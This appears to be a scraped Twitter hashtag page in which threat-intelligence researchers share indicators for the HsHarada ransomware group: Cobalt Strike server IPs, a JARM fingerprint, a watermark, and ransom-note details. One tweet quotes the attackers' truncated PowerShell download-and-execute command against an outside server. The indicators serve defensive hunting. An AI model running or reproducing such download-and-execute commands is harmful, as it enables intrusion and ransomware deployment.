#HsHarada - Twitter Hashtag

almost 3 years ago

New #HsHarada #CobaltStrike server: 103.35.190[.]215. Fully aligns with the heuristic described by us earlier https://t.co/vVcFRBstHi

GroupIB_TI's tweet photo. New #HsHarada #CobaltStrike server: 103.35.190[.]215. Fully aligns with the heuristic described by us earlier https://t.co/vVcFRBstHi https://t.co/g4Xnyv8MWY

Group-IB Threat Intelligence

@GroupIB_TI

almost 3 years ago

82.117.254[.]222 hosts a specific #SSL certificate with jarm 2ad2ad16d2ad2ad00042d42d00042ddb04deffa1705e2edc44cae1ed24a4da issued by https://t.co/DDjtQQbTAs. Additional #CobaltStrike watermark 391144938 gives confident attribtuion to #HsHarada servers. Old server: 166.1.18[.]197 Alive #HsHarada CS servers: 195.123.242[.]122, 195.123.242[.]143, 195.123.240[.]5 Happy hunting!

1

24

10

7

14K

4

63

27

10

10K

Group-IB Threat Intelligence

@GroupIB_TI

almost 3 years ago

82.117.254[.]222 hosts a specific #SSL certificate with jarm 2ad2ad16d2ad2ad00042d42d00042ddb04deffa1705e2edc44cae1ed24a4da issued by https://t.co/DDjtQQbTAs. Additional #CobaltStrike watermark 391144938 gives confident attribtuion to #HsHarada servers. Old server: 166.1.18[.]197 Alive #HsHarada CS servers: 195.123.242[.]122, 195.123.242[.]143, 195.123.240[.]5 Happy hunting!

GroupIB_DFIR @GroupIB_DFIR

almost 3 years ago

2/2 Instead of smb beacon for lateral movement they just run the same posh script on every new host "powershell IEX (new-object net.webclient).downloadstring http://82.117.254[.]222:80..."

0

4

2

1

4K

1

24

10

7

14K

GroupIB_DFIR @GroupIB_DFIR

almost 3 years ago

1/1 Working on the case with #HsHarada #ransomeware group at the moment. Simple killchain: porxyshell vuln -> webshell -> #CobaltStrike It's funny to see that #threatactor doesn't understand how to use CobaltStrike properly 😉

1

9

3

2

1K

rivitna @rivitna2

almost 3 years ago

Here is the first information about #HsHarada / #Rapture #Ransomware https://t.co/sjrSh8Zf2p

0

1

0

2K

rivitna @rivitna2

almost 3 years ago

#HsHarada / #Rapture #Ransomware https://t.co/EgAgucoidR

1

11

4

5

3K

Amigo-A @Amigo_A_

over 3 years ago

A new #HsHarada #Ransomware in my Digest and BleepingComputer forum https://t.co/FKlkoz367f Extension: .m9SRob R/n: m9SRob-README.txt Email: hsharada@skiff.*, r.heisler@keemail.* Ransom in Monero cc @demonslay335 @BleepinComputer

Amigo_A_'s tweet photo. A new #HsHarada #Ransomware in my Digest and BleepingComputer forum
https://t.co/FKlkoz367f
Extension: .m9SRob
R/n: m9SRob-README.txt
Email: hsharada@skiff.*, r.heisler@keemail.*
Ransom in Monero
cc @demonslay335 @BleepinComputer https://t.co/8J5NCYklXg

0

8

3

0

2K

Top Tweets for #HsHarada

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users